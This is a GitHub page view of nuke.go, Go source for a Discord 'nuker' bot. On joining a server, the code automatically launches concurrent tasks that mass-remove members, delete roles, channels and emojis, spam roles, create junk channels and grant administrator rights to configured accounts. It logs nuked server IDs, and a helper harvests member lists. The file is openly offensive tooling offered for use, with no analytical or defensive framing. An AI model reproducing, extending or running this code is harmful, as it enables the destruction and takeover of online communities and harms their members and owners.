-
Notifications
You must be signed in to change notification settings - Fork 0
/
nuke.go
142 lines (130 loc) · 2.87 KB
/
nuke.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package main
import (
"bufio"
"fmt"
"math/rand"
"sync"
"time"
"os"
"github.com/bwmarrin/discordgo"
"golang.org/x/exp/slices"
)
func (na NukeAccount) BeginNuke() error {
err := na.Session.Open()
if err != nil {
return err
}
if na.Config.FeatureConfig.Status.Enabled {
logger.Infoln("setting status")
err = na.setStatus()
logger.Errorln(err)
}
if na.Config.FeatureConfig.AutoNuke.Enabled {
wg := sync.WaitGroup{}
wg.Add(1)
na.Session.AddHandler(func(s *discordgo.Session, m *discordgo.GuildCreate) {
targets := na.Config.FeatureConfig.AutoNuke.TargetOnly
if len(targets) > 0 {
if slices.Contains(targets, m.ID) {
na.nukeOneGuild(m.ID)
}
return
}
exempt := na.Config.FeatureConfig.AutoNuke.ExemptGuilds
if slices.Contains(exempt, m.ID) {
return
}
file, err := os.OpenFile("nuked.txt", os.O_APPEND|os.O_CREATE|os.O_RDWR, 0644)
if err != nil {
logger.Errorln("Error opening nuked file: ", err)
return
}
defer file.Close()
scanner:=bufio.NewScanner(file)
for scanner.Scan(){
id:=scanner.Text()
if id==m.ID{
return
}
}
na.nukeOneGuild(m.ID)
file.WriteString(m.ID + "\n")
})
fmt.Println("Auto nuke is listening for server-join events")
wg.Wait()
return nil
}
na.startNukeTasks()
return nil
}
// Requires gateway connection to be already open
func (na NukeAccount) nukeOneGuild(guildID string) {
newBot := na
newBot.Config.GuildID = guildID
newBot.startNukeTasks()
}
type Feature struct {
Enabled bool
Function func() error
}
func (na NukeAccount) startNukeTasks() {
fc := na.Config.FeatureConfig
tasks := []Feature{
{
Function: na.removeMembers,
Enabled: fc.MemberRemoval.Enabled,
},
{
Function: na.deleteRoles,
Enabled: fc.DeleteRoles,
},
{
Function: na.deleteChannels,
Enabled: fc.DeleteChannels,
},
{
Function: na.makeChannels,
Enabled: fc.AfterChannel.Enabled,
},
{
Function: na.autoAdmin,
Enabled: len(fc.AutoAdmin) > 0,
},
{
Function: na.roleSpam,
Enabled: fc.RoleSpam.Enabled,
},
{
Function: na.deleteEmojis,
Enabled: fc.DeleteEmojis,
},
}
wg := sync.WaitGroup{}
for _, feature := range tasks {
if feature.Enabled {
wg.Add(1)
go func(feature func() error) {
err := feature()
if err != nil {
logger.Errorln(err)
}
wg.Done()
}(feature.Function)
}
}
wg.Wait()
}
func (na NukeAccount) getGuildMemberIDs() []string {
randGen := rand.New(rand.NewSource(time.Now().UnixNano()))
ids := []string{}
collected := make(chan bool)
na.Session.AddHandlerOnce(func(s *discordgo.Session, chunk *discordgo.GuildMembersChunk) {
for _, member := range chunk.Members {
ids = append(ids, member.User.ID)
}
collected <- true
})
na.Session.RequestGuildMembers(na.Config.GuildID, "", 0, fmt.Sprint(randGen.Intn(10000000)), false)
<-collected
return ids
}